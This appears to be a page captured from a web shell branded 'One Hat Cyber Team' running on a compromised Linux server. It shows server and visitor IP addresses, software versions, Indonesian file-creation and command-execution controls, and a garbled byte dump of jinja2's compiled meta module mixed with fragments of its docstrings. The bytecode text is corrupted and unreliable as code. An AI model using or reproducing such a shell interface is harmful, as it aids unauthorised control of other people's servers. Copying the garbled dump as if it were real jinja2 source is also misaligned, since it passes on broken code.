⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.30
Server IP:
45.79.8.107
Server:
Linux localhost 5.15.0-140-generic #150-Ubuntu SMP Sat Apr 12 06:00:09 UTC 2025 x86_64
Server Software:
nginx/1.18.0
PHP Version:
8.1.2-1ubuntu2.21
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
lib
/
python3
/
dist-packages
/
jinja2
/
__pycache__
/
View File Name :
meta.cpython-310.pyc
o :`, @ s d Z ddlZddlmZ ddlmZ ddlmZ ejr!ddl m Z G dd d eZd ejdej e fdd ZejejejejfZejejejejejf Zd ejdejeje fddZdS )z_Functions that expose information about templates that might be interesting for introspection. N )nodes) CodeGenerator)Frame)Environmentc sJ e Zd ZdZd fddZdeddfd d Zdeddf fdd Z Z S )TrackingCodeGeneratorz.We abuse the code generator for introspection.environmentr returnNc s t |dd t | _d S )Nz
)super__init__setundeclared_identifiers)selfr __class__ -/usr/lib/python3/dist-packages/jinja2/meta.pyr s zTrackingCodeGenerator.__init__xc C s dS )zDon't write.Nr )r r r r r write s zTrackingCodeGenerator.writeframec sJ t | |jj D ]\}\}}|dkr"|| jjvr"| j| qdS )z$Remember all undeclared identifiers.resolveN) r enter_framesymbolsloadsitemsr globalsr add)r r _actionparamr r r r s z!TrackingCodeGenerator.enter_frame)r r r N) __name__ __module____qualname____doc__r strr r r __classcell__r r r r r s r astr c C s t | j}|| |jS )a Returns a set of all variables in the AST that will be looked up from the context at runtime. Because at compile time it's not known which variables will be used depending on the path the execution takes at runtime, all variables are returned. >>> from jinja2 import Environment, meta >>> env = Environment() >>> ast = env.parse('{% set foo = 42 %}{{ bar + foo }}') >>> meta.find_undeclared_variables(ast) == {'bar'} True .. admonition:: Implementation Internally the code generator is used for finding undeclared variables. This is good to know because the code generator might raise a :exc:`TemplateAssertionError` during compilation and as a matter of fact this function can currently raise that exception as well. )r r visitr )r&